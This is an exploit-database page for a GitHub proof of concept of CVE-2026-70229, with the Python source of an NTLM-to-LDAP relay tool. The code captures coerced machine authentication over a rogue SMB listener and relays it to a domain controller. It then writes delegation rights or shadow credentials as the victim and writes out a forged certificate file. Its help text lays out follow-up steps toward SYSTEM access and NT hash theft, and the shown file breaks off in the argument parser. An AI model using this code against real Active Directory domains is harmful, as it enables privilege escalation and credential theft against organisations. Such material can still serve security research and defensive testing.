Exploit database

GH-535b8b6e879fc5008bdea98d2a7f83a8

oosh4rpzoo/cve-2026-70229

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-70229

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files4
oosh4rpzoo/cve-2026-70229Revision fcbd2fd92877

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2026-70229.py

Python · 44,079 bytes
#!/usr/bin/env python3
"""CVE-2026-70229: LDAP Switcheroo relay (same-record variant).

Opens a signed SASL NTLM LDAP session to the target DC (that session key is
the seal key), captures a coerced machine NTLM AUTH over SMB, then relays the
victim bind together with the payload modify inside ONE sealed SASL record.
The DC verifies the record once with the attacker key, completes the bind as
the victim and runs the modify with the victim privileges.

Payloads:
  --rbcd    msDS-AllowedToActOnBehalfOfOtherIdentity for --delegate-to
            (recommended against member servers; follow-up: getST.py
            S4U2Self+S4U2Proxy gives SYSTEM on the victim)
  --shadow  msDS-KeyCredentialLink on the victim plus a <victim>.pfx with
            the victim identity (recommended against a domain controller;
            follow-up: certipy auth gives a TGT and the NT hash)
  --probe   no payload, nothing written: victim bind plus a read-only
            search in the same record, tells a DC that dispatches trailing
            in-record messages from one that drops them at the identity
            switch

No coercion is built in: trigger it yourself (PetitPotam, printerbug.py,
spoolercoerce, dfsc...). For educational purposes and authorized testing
only.

References:
  https://specterops.io/blog/2026/10/23/ldap-signing-bypass-ntlm-relay/
  https://github.com/grayhatkiller/switcheroo
"""

import argparse
import os
import socket
import sys
import time
from struct import pack, unpack

from impacket import ntlm
from impacket.examples.ntlmrelayx.attacks.ldapattack import (
    create_allow_ace, create_empty_sd)
from impacket.ldap.ldap import LDAPConnection
from impacket.ldap.ldapasn1 import (
    BindRequest, Filter, LDAPMessage, ModifyRequest, ResultCode,
    SearchRequest, SearchResultEntry)
from impacket.spnego import (
    SPNEGO_NegTokenInit, SPNEGO_NegTokenResp, TypesMech)
from pyasn1.codec.ber import decoder, encoder

OID_NTLM = 'NTLMSSP - Microsoft NTLM Security Support Provider'
OID_NTLM_DER = b'\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a'
# Multi-mech list of a real DC (NEGOEX + Kerberos mechs + NTLM last). The
# NTLM-last order keeps the list mutated at accept time so a strict client
# must answer with a full SPNEGO wrapper carrying its own mechListMIC.
MECH_TYPES = [
    'NEGOEX - SPNEGO Extended Negotiation Security Mechanism',
    'MS KRB5 - Microsoft Kerberos 5',
    'KRB5 - Kerberos 5',
    'KRB5 - Kerberos 5 - User to User',
    'NTLMSSP - Microsoft NTLM Security Support Provider',
]
MECH_TYPES_DER = bytes.fromhex(
    '303a060a2b06010401823702021e06092a864882f712010202'
    '06092a864886f712010202'
    '060a2a864886f71201020203060a2b06010401823702020a')
SPNEGO_HINT = bytes.fromhex(
    '607606062b0601050502a06c306aa03c303a'
    + MECH_TYPES_DER.hex()[4:]
    + 'a32a3028a0261b24'
    + b'not_defined_in_RFC4178@please_ignore'.hex())
assert len(MECH_TYPES_DER) == 60 and len(SPNEGO_HINT) == 120

STATE = {'conn': None, 'args': None, 'base_dn': None, 'debug': False,
         'type1': None, 'type2': None}


def die(msg):
    print('[-] ' + msg)
    sys.exit(1)


# --- SMB2 wire ---

def filetime_now():
    return 116444736000000000 + int(time.time()) * 10_000_000


def der_len(n):
    if n < 0x80:
        return bytes([n])
    b = n.to_bytes((n.bit_length() + 7) // 8, 'big')
    return bytes([0x80 | len(b)]) + b


def spnego_resp_token(token):
    octet = b'\x04' + der_len(len(token)) + token
    resp = b'\xa2' + der_len(len(octet)) + octet
    mech = b'\xa1\x0c' + OID_NTLM_DER
    state = b'\xa0\x03\x0a\x01\x01'
    body = b'\x30' + der_len(len(state) + len(mech) + len(resp)) \
        + state + mech + resp
    return b'\xa1' + der_len(len(body)) + body


def spnego_request_mic():
    state = b'\xa0\x03\x0a\x01\x03'
    mech = b'\xa1\x0c' + OID_NTLM_DER
    body = b'\x30' + der_len(len(state) + len(mech)) + state + mech
    return b'\xa1' + der_len(len(body)) + body


def spnego_init_ntlm():
    return b'\xa0\x0e\x30\x0c' + OID_NTLM_DER


def smb2_header(cmd, status, message_id, session_id, credits=1, request=None):
    # Echo CreditCharge, PID and the DFS flag (0x10): the strict Server 2022
    # spooler RSTs the connection without them.
    charge = unpack('<H', request[6:8])[0] if request else 0
    pid = unpack('<I', request[32:36])[0] if request else 0
    req_flags = unpack('<I', request[16:20])[0] if request else 0
    flags = 1 | (req_flags & 0x10)
    return (b'\xfeSMB' + pack('<H', 64) + pack('<H', charge)
            + pack('<I', status) + pack('<H', cmd)
            + pack('<H', credits) + pack('<I', flags)
            + pack('<I', 0) + pack('<Q', message_id)
            + pack('<I', pid) + pack('<I', 0) + pack('<Q', session_id)
            + b'\x00' * 16)


def send_frame(sock, header, body):
    payload = header + body
    sock.sendall(pack('>I', len(payload))[:1]
                 + pack('>I', len(payload))[1:] + payload)


def recv_frame(sock):
    hdr = b''
    while len(hdr) < 4:
        chunk = sock.recv(4 - len(hdr))
        if not chunk:
            return None
        hdr += chunk
    length = unpack('>I', hdr)[0] & 0x00FFFFFF
    data = b''
    while len(data) < length:
        chunk = sock.recv(length - len(data))
        if not chunk:
            return None
        data += chunk
    return data


def negotiate_body_wildcard():
    # SMB1 wildcard answered as SMB2 0x02FF without contexts: forces the
    # client to re-negotiate in SMB2 (a direct 3.1.1 reply gets RST).
    guid = b'SWITCHEROOrelay0'[:16]
    now = filetime_now()
    body = (pack('<H', 65) + pack('<H', 3) + pack('<H', 0x02FF)
            + pack('<H', 0) + guid + pack('<I', 7)
            + pack('<I', 0x00800000) + pack('<I', 0x00800000)
            + pack('<I', 0x00800000)
            + pack('<Q', now) + pack('<Q', now)
            + pack('<H', 128) + pack('<H', len(SPNEGO_HINT))
            + pack('<H', 0)
            + pack('<H', 0)
            + SPNEGO_HINT)
    return body


def negotiate_body_311():
    # 3.1.1 with a preauth integrity context (SHA-512, 32 byte salt) and
    # signing required: the client re-negotiates signed and its final type3
    # keeps the SPNEGO wrapper (mechListMIC included).
    guid = b'SWITCHEROOrelay0'[:16]
    now = filetime_now()
    salt = b'SWRELAY311salt0' + b'\x00' * 17
    assert len(salt) == 32
    preauth_data = pack('<HHH', 1, 32, 1) + salt
    preauth = pack('<HHI', 1, len(preauth_data), 0) + preauth_data
    pad = (-len(SPNEGO_HINT)) % 8
    ctx_offset = 128 + len(SPNEGO_HINT) + pad
    body = (pack('<H', 65) + pack('<H', 3) + pack('<H', 0x0311)
            + pack('<H', 1) + guid + pack('<I', 0)
            + pack('<I', 65536) + pack('<I', 65536) + pack('<I', 65536)
            + pack('<Q', now) + pack('<Q', now)
            + pack('<H', 128) + pack('<H', len(SPNEGO_HINT))
            + pack('<H', ctx_offset)
            + pack('<H', 0)
            + SPNEGO_HINT + b'\x00' * pad + preauth)
    return body


def ntlm_type_in(token):
    pos = token.find(b'NTLMSSP\x00')
    if pos == -1:
        return pos, None
    return pos, unpack('<L', token[pos + 8:pos + 12])[0]


# --- LDAP ---

def unwrap_ntlm(token):
    if token[:1] == b'\xa1':
        return SPNEGO_NegTokenResp(token)['ResponseToken']
    if token[:1] in (b'\x60', b'\xa0'):
        return SPNEGO_NegTokenInit(token)['MechToken']
    return token


def open_attacker_session(args):
    lm, nt = '', ''
    if args.hashes:
        lm, _, nt = args.hashes.partition(':')
    conn = LDAPConnection(f'{args.scheme}://{args.ldap_ip}', '',
                          dstIp=args.ldap_ip, signing=True)
    if args.anonymous:
        conn.login('', '', '', '', '', authenticationChoice='sasl')
        STATE['conn'] = conn
        STATE['debug'] = bool(args.debug)
        print('[*] LDAP: anonymous SASL NTLM session '
              f'-> {args.ldap_ip} (same-record seal key, no credentials)')
    else:
        conn.login(args.user, args.password or '', args.domain, lm, nt,
                   authenticationChoice='sasl')
        STATE['conn'] = conn
        STATE['debug'] = bool(args.debug)
        print(f'[*] LDAP: signed SASL session as {args.domain}\\{args.user} '
              f'-> {args.ldap_ip} (same-record seal key)')
    conn._socket.settimeout(args.ldap_timeout)
    base = ''
    for entry in conn.search(searchBase='', scope=0,
                             searchFilter='(objectClass=*)',
                             attributes=['defaultNamingContext']):
        if isinstance(entry, SearchResultEntry):
            for attr in entry['attributes']:
                if str(attr['type']) == 'defaultNamingContext':
                    base = str(attr['vals'][0])
    if not base:
        die('rootDSE: no defaultNamingContext')
    STATE['base_dn'] = base
    print(f'[*] LDAP: base DN {base}')
    return conn


def get_entry_values(entry, attribute):
    # not exported by impacket 0.13.1: local equivalent over one attribute
    for attr in entry['attributes']:
        if str(attr['type']) == attribute:
            return attr['vals']
    return []


def first_string(entry, attribute):
    for item in get_entry_values(entry, attribute):
        if hasattr(item, 'asOctets'):
            return item.asOctets()
        return str(item).encode() if not isinstance(item, bytes) else item
    return None


def format_sid(sid):
    rev, count = sid[0], sid[1]
    authority = int.from_bytes(sid[2:8], 'big')
    subs = [unpack('<I', sid[8 + 4 * i:12 + 4 * i])[0] for i in range(count)]
    return 'S-%d-%d-%s' % (rev, authority, '-'.join(map(str, subs)))


def resolve_account(name, attributes):
    filt = f'(sAMAccountName={name})'
    for entry in STATE['conn'].search(searchBase=STATE['base_dn'], scope=2,
                                      searchFilter=filt,
                                      attributes=attributes):
        if not isinstance(entry, SearchResultEntry):
            continue  # continuation reference (child domain)
        out = {a: first_string(entry, a) for a in attributes}
        if any(out.values()):
            return out
    return None


def forward_type1(token):
    # Forward the victim setup token VERBATIM in a GSS-SPNEGO bind on the
    # attacker session; the DC's REAL type2 must go back to the client
    # unchanged (any forged type2 is rejected by content by strict clients).
    conn = STATE['conn']
    if token[:1] in (b'\x60', b'\xa0'):
        blob = token
    else:
        init = SPNEGO_NegTokenInit()
        init['MechTypes'] = [TypesMech[OID_NTLM]]
        init['MechToken'] = token
        blob = init.getData()
    request = BindRequest()
    request['version'] = 3
    request['name'] = ''
    request['authentication']['sasl']['mechanism'] = 'GSS-SPNEGO'
    request['authentication']['sasl']['credentials'] = \
        blob if isinstance(blob, (bytes, bytearray)) else blob.getData()
    answer = conn.sendReceive(request)
    result = answer[0]['protocolOp']['bindResponse']
    code = int(result['resultCode'])
    if code != int(ResultCode('saslBindInProgress')):
        raise RuntimeError(f'type1 rejected by DC: '
                           f'{ResultCode(code).prettyPrint()}')
    spnego = SPNEGO_NegTokenResp(result['serverSaslCreds'].asOctets())
    return spnego['ResponseToken']


def challenge_of(type2_raw):
    pos = type2_raw.find(b'NTLMSSP\x00')
    return bytes(type2_raw[pos + 24:pos + 32])


def _ldap_message(operation):
    # wire bytes plus the messageID: responses are correlated by ID, not by
    # position (a DC may batch several answers into one sealed record, and
    # any unmatched notification must not steal a payload verdict)
    message = LDAPMessage()
    message['messageID'] = int.from_bytes(os.urandom(3), 'big') or 1
    message['protocolOp'].setComponentByType(operation.getTagSet(),
                                             operation)
    return encoder.encode(message), int(message['messageID'])


def _gss_bind(token):
    request = BindRequest()
    request['version'] = 3
    request['name'] = ''
    request['authentication']['sasl']['mechanism'] = 'GSS-SPNEGO'
    request['authentication']['sasl']['credentials'] = token
    return request


def rbcd_modify(victim_dn, sid):
    descriptor = create_empty_sd()
    descriptor['Dacl'].aces.append(create_allow_ace(sid))
    request = ModifyRequest()
    request['object'] = victim_dn
    request['changes'][0]['operation'] = 2  # replace
    request['changes'][0]['modification']['type'] = \
        'msDS-AllowedToActOnBehalfOfOtherIdentity'
    request['changes'][0]['modification']['vals'].setComponents(
        descriptor.getData())
    return request


def shadow_material(victim_dn, out_dir):
    # Shadow credentials material built offline: self-signed cert carrying
    # the victim identity (CN + SAN UPN otherName, so certipy auth needs no
    # -username/-domain) and the matching KeyCredential DNWithBinary.
    from datetime import datetime, timedelta, timezone

    from cryptography import x509
    from cryptography.hazmat.primitives import hashes, serialization
    from cryptography.hazmat.primitives.asymmetric import rsa
    from cryptography.hazmat.primitives.serialization import pkcs12
    from cryptography.x509.oid import NameOID
    from pyasn1.codec.der.encoder import encode as der_encode
    from pyasn1.type import char
    from dsinternals.common.cryptography.X509Certificate2 import (
        X509Certificate2)
    from dsinternals.common.cryptography.RSAKeyMaterial import RSAKeyMaterial
    from dsinternals.system.DateTime import DateTime
    from dsinternals.system.Guid import Guid
    from dsinternals.common.data.hello.KeyCredential import KeyCredential
    account = STATE['auth_user']
    name = account.rstrip('$')
    realm = '.'.join(p.split('=', 1)[1] for p in STATE['base_dn'].split(',')
                     if p.strip().upper().startswith('DC='))
    upn = f'{account}@{realm}'
    key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
    now = datetime.now(timezone.utc)
    subject = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, account)])
    cert = (x509.CertificateBuilder()
            .subject_name(subject)
            .issuer_name(subject)
            .public_key(key.public_key())
            .serial_number(x509.random_serial_number())
            .not_valid_before(now)
            .not_valid_after(now + timedelta(days=365))
            .add_extension(x509.SubjectAlternativeName([
                # MS UPN otherName, value = DER UTF8String (what certipy
                # and the KDC read back)
                x509.OtherName(
                    x509.ObjectIdentifier('1.3.6.1.4.1.311.20.2.3'),
                    der_encode(char.UTF8String(upn))),
            ]), critical=False)
            .sign(key, hashes.SHA256()))
    # duck-typed dsinternals X509Certificate2: fromX509Certificate2 only
    # reads ExportRSAPublicKeyBCrypt(), which returns .publicKey
    box = X509Certificate2.__new__(X509Certificate2)
    box.certificate = cert
    box.key = key
    numbers = key.public_key().public_numbers()
    box.publicKey = RSAKeyMaterial(modulus=numbers.n, exponent=numbers.e,
                                   keySize=2048)
    keycred = KeyCredential.fromX509Certificate2(box, Guid(), victim_dn,
                                                 DateTime())
    dnwb = str(keycred.toDNWithBinary())
    pfx = pkcs12.serialize_key_and_certificates(
        name=account.encode(), key=key, cert=cert, cas=None,
        encryption_algorithm=serialization.NoEncryption())
    # written only after a successful modify: a PFX for a key that never
    # reached AD orphans the keycred (PKINIT then fails with
    # KDC_ERROR_CLIENT_NOT_TRUSTED)
    STATE['pending_pfx'] = (out_dir, f'{name}.pfx', pfx, account, upn)
    request = ModifyRequest()
    request['object'] = victim_dn
    request['changes'][0]['operation'] = 0  # add (SELF, empty attr only)
    request['changes'][0]['modification']['type'] = \
        'msDS-KeyCredentialLink'
    request['changes'][0]['modification']['vals'].setComponents(
        dnwb.encode('utf-8'))
    return request


def _read_exact(sock, length):
    value = b''
    while len(value) < length:
        chunk = sock.recv(length - len(value))
        if not chunk:
            raise EOFError('connection closed')
        value += chunk
    return value


def _hex_tail(data, span=32):
    return data[-span:].hex() if data else '(empty)'


def probe_search(base_dn):
    # Read-only trailing op for --probe: base-scope search on the victim DN
    # asking for no attribute (nothing written, nothing disclosed beyond
    # what the victim identity may read). A DC that dispatches trailing
    # in-record messages answers it with searchResEntry + searchResDone; a
    # DC that discards the record at the identity switch never answers.
    filt = Filter()
    filt['present'] = 'objectClass'
    request = SearchRequest()
    request['baseObject'] = base_dn
    request['scope'] = 0
    request['derefAliases'] = 'neverDerefAliases'
    request['sizeLimit'] = 1
    request['timeLimit'] = 0
    request['typesOnly'] = False
    request['filter'] = filt
    request['attributes'].setComponents('1.1')
    return request


def _record_read(conn):
    length = unpack('>I', _read_exact(conn._socket, 4))[0]
    raw = _read_exact(conn._socket, length)
    return conn.decrypt(pack('>I', length) + raw)


def _read_verdicts(conn, sent):
    # Drain EVERY LDAP message out of each decrypted record: a DC may batch
    # several answers into one sealed buffer, and a parser that reads one
    # message per record silently swallows the verdicts that follow the
    # first. Correlate by messageID, attribute leftovers positionally, and
    # bound every read with --ldap-timeout (v1 hung forever on a DC that
    # answers the bind and stays silent afterwards). Failure kinds are
    # disjoint on purpose: timeout (peer silent, socket alive), eof (peer
    # closed), socket (reset or other OSError), undecryptable/empty record
    # (cipher desync or non-LDAP bytes: everything after is dead).
    timeout = STATE['args'].ldap_timeout
    ordered = {label: None for _, label in sent}
    pending = list(sent)
    while pending:
        try:
            plaintext = _record_read(conn)
        except TimeoutError:
            for _, label in pending:
                print(f'[-] LDAP: {label} no answer (timeout after '
                      f'{timeout}s, socket left open)')
            break
        except EOFError:
            for _, label in pending:
                print(f'[-] LDAP: {label} no answer (eof: connection '
                      f'closed by peer)')
            break
        except OSError as error:
            for _, label in pending:
                print(f'[-] LDAP: {label} no answer (socket: '
                      f'{type(error).__name__}: {error})')
            break
        except Exception as error:
            print(f'[!] LDAP: record unreadable ({type(error).__name__}: '
                  f'{error}); cipher desynced, aborting reads')
            for _, label in pending:
                print(f'[-] LDAP: {label} no answer (undecryptable record)')
            break
        parsed = 0
        cursor = plaintext
        while cursor:
            try:
                message, rest = decoder.decode(cursor, asn1Spec=LDAPMessage())
            except Exception:
                print(f'[!] LDAP: {len(cursor)} undecodable trailing byte(s)'
                      f' in record, tail {_hex_tail(cursor)}')
                break
            if not isinstance(rest, (bytes, bytearray)) \
                    or len(rest) >= len(cursor):
                rest = b''
            cursor = rest
            parsed += 1
            try:
                op_name = str(message['protocolOp'].getName())
                result = message['protocolOp'].getComponent()
                try:
                    verdict = result['resultCode'].prettyPrint()
                except Exception:
                    verdict = op_name  # searchResEntry carries no resultCode
                try:
                    diag = bytes(result['diagnosticMessage']) \
                        if result['diagnosticMessage'] is not None else b''
                except Exception:
                    diag = b''
                mid = int(message['messageID'])
                label = None
                for idx, (want, want_label) in enumerate(pending):
                    if want == mid:
                        label = want_label
                        pending.pop(idx)
                        break
                if label is None and pending:
                    label = pending.pop(0)[1]
                    print(f'[!] LDAP: {op_name} messageID {mid} unmatched, '
                          f'attributed to {label}')
                if label is None:
                    print(f'[+] LDAP: extra response ({op_name} -> '
                          f'{verdict})')
                else:
                    print(f'[+] LDAP: {label} -> {verdict}')
                    if diag:
                        print(f'[!] LDAP: {label} diag: '
                              f'{diag.decode(errors="replace")[:120]}')
                    ordered[label] = verdict
            except Exception as error:
                print(f'[!] LDAP: response rejected ({type(error).__name__}:'
                      f' {error})')
        if pending and parsed == 0:
            for _, label in pending:
                print(f'[-] LDAP: {label} no answer (decrypted record '
                      f'yielded no LDAP message, {len(plaintext)} o)')
            break
    return [ordered[label] for _, label in sent]


def send_same_record(victim_dn, modifies, victim_token, probe=False):
    # Final victim bind + payload modifies (or one read-only probe search)
    # in ONE SASL record. The record is sealed with the ATTACKER session key
    # while the bind switches the processing identity to the victim: that is
    # the CVE-2026-70229 window.
    conn = STATE['conn']
    final = SPNEGO_NegTokenResp()
    final['ResponseToken'] = unwrap_ntlm(victim_token)
    if len(victim_token) >= 20 and victim_token[-20:-16] == b'\xa3\x12\x04\x10':
        # native SASL client: its own mechListMIC closes its SPNEGO wrapper
        # and is relayed verbatim (the attacker never needs the victim key)
        final['mechListMIC'] = victim_token[-16:]
        print('[*] LDAP: client SPNEGO mechListMIC relayed verbatim')
    else:
        print('[*] LDAP: bare NTLM type3 (no SPNEGO wrapper, no MIC)')
    built = [_ldap_message(_gss_bind(final.getData()))]
    if probe:
        built.append(_ldap_message(probe_search(victim_dn)))
    else:
        for modify in modifies:
            built.append(_ldap_message(modify))
    record = b''.join(wire for wire, _ in built)
    sent = [(mid, 'Bind' if i == 0 else
             ('Probe-search' if probe else f'Modify-{i}'))
            for i, (_, mid) in enumerate(built)]
    conn._socket.sendall(conn.encrypt(record))
    if probe:
        print(f'[*] LDAP: same-record sent to {victim_dn} (bind + read-only '
              f'probe search, nothing written)')
    else:
        payload_desc = []
        if STATE['args'].rbcd:
            payload_desc.append('RBCD')
        if STATE['args'].shadow:
            payload_desc.append('shadow')
        print(f'[*] LDAP: same-record sent to {victim_dn} '
              f'(bind + {len(modifies)} modify: {",".join(payload_desc)})')
    return _read_verdicts(conn, sent)


def read_back(victim_dn, attributes):
    # Independent signed session: the only reliable success signal (the
    # attacker session cipher desyncs after the in-record bind).
    args = STATE['args']
    if args.anonymous:
        print('[!] read-back skipped: an anonymous session cannot run LDAP '
              'searches, so the success verdicts stay unverified. Verify '
              'the attribute from an authenticated session and check '
              'repadmin /showobjmeta: an identical-value REPLACE answers '
              'success without performing any write.')
        return True
    time.sleep(1)
    check = LDAPConnection(f'ldap://{args.ldap_ip}', STATE['base_dn'],
                           dstIp=args.ldap_ip, signing=True)
    check.login(args.user, args.password or '', args.domain, '', '',
                authenticationChoice='sasl')
    check._socket.settimeout(args.ldap_timeout)
    ok = True
    for attribute in attributes:
        count = 0
        for entry in check.search(searchBase=victim_dn, scope=0,
                                  searchFilter='(objectClass=*)',
                                  attributes=attributes):
            if isinstance(entry, SearchResultEntry):
                count = len(list(get_entry_values(entry, attribute)))
                break
        if count:
            print(f'[+] LDAP: {attribute} present ({count} value(s), '
                  f'independent read-back)')
        else:
            print(f'[-] LDAP: {attribute} absent at read-back')
            ok = False
    check.close()
    return ok


# --- listener ---

def handle_client(conn, addr):
    # SMB2 dance for strict clients: SMB1 wildcard, SMB2 re-negotiation,
    # 3.1.1 with preauth. Victim type1 goes to the DC, the DC type2 comes
    # back verbatim, the type3 carries the SPNEGO blob used by the
    # same-record bind.
    debug = STATE['debug']
    sent_type2 = False
    session_id = 0x1000
    while True:
        data = recv_frame(conn)
        if data is None:
            return None
        if debug:
            print(f'[*] SMB: <{addr[0]} frame {len(data)} o: '
                  f'{data[:40].hex()}')
        if data[:4] == b'\xffSMB':
            send_frame(conn, smb2_header(0x00, 0, 0, 0),
                       negotiate_body_wildcard())
            continue
        if len(data) < 64 or data[:4] != b'\xfeSMB':
            return None
        cmd = unpack('<H', data[12:14])[0]
        message_id = unpack('<Q', data[24:32])[0]
        if cmd == 0x00:  # NEGOTIATE
            send_frame(conn, smb2_header(0x00, 0, message_id, 0,
                                         request=data),
                       negotiate_body_311())
            print(f'[*] SMB: negotiated 3.1.1 with {addr[0]} '
                  f'(preauth REQUIRED)')
        elif cmd == 0x01:  # SESSION_SETUP
            sec_off = unpack('<H', data[76:78])[0]
            sec_len = unpack('<H', data[78:80])[0]
            token = data[sec_off:sec_off + sec_len] if sec_len else b''
            pos, msg_type = ntlm_type_in(token)
            if msg_type == 3:
                print(f'[+] SMB: AUTH captured from {addr[0]} '
                      f'({len(token)} o)')
                if debug:
                    for name, blob in (('type1.bin', STATE['type1']),
                                       ('type2.bin', STATE['type2']),
                                       ('type3.bin', token)):
                        if blob:
                            path = os.path.join(STATE['args'].out_dir, name)
                            with open(path, 'wb') as fh:
                                fh.write(blob)
                # refuse cleanly: the client must not learn anything more
                body = pack('<H', 9) + pack('<H', 0) + pack('<H', 0) \
                    + pack('<H', 0)
                send_frame(conn, smb2_header(0x01, 0xC000006D, message_id,
                                             session_id, request=data),
                           body)
                return token
            if msg_type == 1 and not sent_type2:
                STATE['type1'] = unwrap_ntlm(token[pos:])
                if debug:
                    path = os.path.join(STATE['args'].out_dir, 'setup1.bin')
                    with open(path, 'wb') as fh:
                        fh.write(token)
                    print(f'[D] setup1 {len(token)} o, ntlm at {pos}, '
                          f'head {token[:8].hex()}')
                type2_dc = forward_type1(token)
                STATE['type2'] = type2_dc
                # always answer in SPNEGO: the client then wraps its type3,
                # whose mechListMIC is exactly what the final bind needs
                token2 = spnego_resp_token(type2_dc)
                body = pack('<H', 9) + pack('<H', 0) + pack('<H', 72) \
                    + pack('<H', len(token2)) + token2
                session_id = 0x1000 + (message_id & 0xFFF)
                send_frame(conn, smb2_header(0x01, 0xC0000016, message_id,
                                             session_id, request=data),
                           body)
                sent_type2 = True
                print(f'[*] SMB: victim type1 forwarded to the DC, real '
                      f'type2 returned (challenge '
                      f'{challenge_of(type2_dc).hex()})')
            else:
                # optimistic Kerberos/NEGOEX: request-mic flips it to NTLM
                token2 = spnego_request_mic()
                body = pack('<H', 9) + pack('<H', 0) + pack('<H', 72) \
                    + pack('<H', len(token2)) + token2
                session_id = 0x1000 + (message_id & 0xFFF)
                send_frame(conn, smb2_header(0x01, 0xC0000016, message_id,
                                             session_id, request=data),
                           body)
                print('[*] SMB: request-mic sent (client should switch to '
                      'NTLM)')
        else:
            return None


def relay_from_auth(token):
    auth = ntlm.NTLMAuthChallengeResponse()
    auth.fromString(unwrap_ntlm(token))
    user = bytes(auth['user_name']).decode('utf-16le', 'replace')
    domain = bytes(auth['domain_name']).decode('utf-16le', 'replace')
    STATE['auth_user'] = user
    args = STATE['args']
    if args.expect and user != args.expect:
        print(f'[-] AUTH is {domain}\\{user}, expected {args.expect}: '
              f'aborting (nothing written)')
        return 1
    print(f'[*] Relay: victim identity {domain}\\{user}')
    if args.victim_dn:
        victim_dn = args.victim_dn
        print(f'[*] Relay: victim DN {victim_dn} (explicit)')
    else:
        entry = resolve_account(user, ['distinguishedName'])
        if not entry or not entry.get('distinguishedName'):
            print(f'[-] Relay: cannot resolve DN for {user}')
            return 1
        victim_dn = entry['distinguishedName'].decode()
        print(f'[*] Relay: victim DN {victim_dn}')

    if args.probe:
        # write-free control: same-record with a read-only trailing search.
        # both answers = the DC dispatches trailing in-record messages (a
        # silent payload modify would be write-path specific); bind only =
        # the DC discards the record at the identity switch and same-record
        # writes cannot land on that build (26100-class behavior)
        verdicts = send_same_record(victim_dn, [], token, probe=True)
        bind_ok = verdicts[0] == 'success'
        probe_ok = verdicts[1] is not None
        if bind_ok and probe_ok:
            print('[=] PROBE: bind answered AND trailing search answered: '
                  'this DC dispatches trailing in-record messages; a silent '
                  'payload modify here would be write-path specific '
                  '(rights, store path, or patched discard)')
        elif bind_ok:
            print('[=] PROBE: bind answered, trailing search silent: this '
                  'DC drops trailing in-record messages at the identity '
                  'switch; same-record writes cannot land on this build')
        else:
            print('[=] PROBE: bind not accepted: fix the relay setup before '
                  'reading anything into trailing silence')
        return 0 if (bind_ok and probe_ok) else 1

    modifies = []
    attrs = []
    if args.rbcd:
        if args.delegate_sid:
            sid = args.delegate_sid
            print(f'[*] Relay: delegatee ({sid}, explicit SID)')
        else:
            delegatee = resolve_account(args.delegate_to, ['objectSid'])
            if not delegatee or not delegatee.get('objectSid'):
                print(f'[-] Relay: cannot resolve {args.delegate_to}')
                return 1
            sid = format_sid(delegatee['objectSid'])
            print(f'[*] Relay: delegatee {args.delegate_to} ({sid})')
        modifies.append(rbcd_modify(victim_dn, sid))
        attrs.append('msDS-AllowedToActOnBehalfOfOtherIdentity')
    if args.shadow:
        modifies.append(shadow_material(victim_dn, args.out_dir))
        attrs.append('msDS-KeyCredentialLink')

    verdicts = send_same_record(victim_dn, modifies, token)
    bind_ok = verdicts[0] == 'success'
    mod_ok = all(v == 'success' for v in verdicts[1:])
    ok = bind_ok and mod_ok and read_back(victim_dn, attrs)
    if args.shadow and bind_ok and mod_ok and STATE.get('pending_pfx'):
        pfx_dir, pfx_name, pfx, pfx_cn, pfx_upn = STATE.pop('pending_pfx')
        os.makedirs(pfx_dir, exist_ok=True)
        pfx_path = os.path.join(pfx_dir, pfx_name)
        with open(pfx_path, 'wb') as fh:
            fh.write(pfx)
        print(f'[+] SHADOW: PFX written to {pfx_path} ({len(pfx)} bytes, '
              f'CN={pfx_cn}, UPN={pfx_upn})')
    elif args.shadow:
        print('[-] SHADOW: modify failed, no PFX written (keycred intact)')
    if ok:
        fqdn_hint = '<victim-fqdn>'
        stamp = f' (DC build {args.dc_build})' if args.dc_build else ''
        if args.anonymous:
            print(f'[+] DONE: payload responses success as {domain}\\{user} '
                  f'(write UNVERIFIED: anonymous session, no read-back)'
                  f'{stamp}')
        else:
            print(f'[+] DONE: payload landed as {domain}\\{user}{stamp}')
        if args.rbcd:
            print(f'[*] Next (RBCD): getST.py -dc-ip {args.ldap_ip} '
                  f'-impersonate Administrator -spn cifs/{fqdn_hint} '
                  f'"<fqdn>/{args.delegate_to}:<machine creds>"')
        if args.shadow:
            print(f'[*] Next (shadow): certipy auth -pfx '
                  f'{args.out_dir}/{user.rstrip("$")}.pfx '
                  f'-dc-ip {args.ldap_ip}')
    else:
        print('[-] DONE: chain incomplete, see verdicts above')
    return 0 if ok else 1


# --- main ---

EPILOG = '''payloads:
  --rbcd    msDS-AllowedToActOnBehalfOfOtherIdentity for --delegate-to on
            the victim (follow-up: getST.py S4U2Self+S4U2Proxy -> SYSTEM on
            the victim)
  --shadow  msDS-KeyCredentialLink on the victim, writes <victim>.pfx
            (follow-up: certipy auth -pfx -> TGT + NT hash of the victim)
  --probe   write-free control: victim bind + read-only search in ONE
            record, no payload. Trailing search answered = the DC
            dispatches trailing in-record messages; silent = the DC drops
            them at the identity switch and same-record writes cannot land
            on that build

no coercion is built in: run the trigger yourself in a second terminal,
any coercion dialing its machine account at the listener works
(PetitPotam, printerbug.py, spoolercoerce, dfsc...).

examples:
  %(prog)s -t ldap://10.0.0.10 -u bob -p 'Passw0rd!' -d CORP --delegate-to 'WKST01$' --rbcd
  %(prog)s -t ldap://10.0.0.10 -u bob -H :fc0a1c... -d CORP --shadow
  %(prog)s -t ldap://10.0.0.10 -u bob -p 'Passw0rd!' -d CORP --probe --dc-build 26100.32230
  %(prog)s -t ldap://10.0.0.10 --anonymous --victim-dn 'CN=WKST01,CN=Computers,DC=CORP,DC=local' --delegate-sid S-1-5-21-1-2-3-1107 --rbcd
  printerbug.py 'CORP/bob:Passw0rd!'@10.0.0.50 10.0.0.99   (separate tool)

--dc-build <UBR>: stamps the DC build into the output (same-record dispatch
is build-dependent: Server 2022 20348 dispatches trailing messages,
26100-class builds drop the record at the SASL identity switch).

--anonymous: the seal session is an anonymous SASL NTLM bind, no attacker
account is needed; the write cannot be read back from that session, so
verify it independently.
'''


def build_parser():
    p = argparse.ArgumentParser(
        description='CVE-2026-70229 LDAP Switcheroo relay (same-record): '
                    'capture a coerced machine AUTH, relay it to LDAP with '
                    'signing enforced, write RBCD or shadow credentials as '
                    'the victim.',
        epilog=EPILOG,
        formatter_class=argparse.RawDescriptionHelpFormatter)
    auth = p.add_argument_group('attacker session (LDAP seal key)')
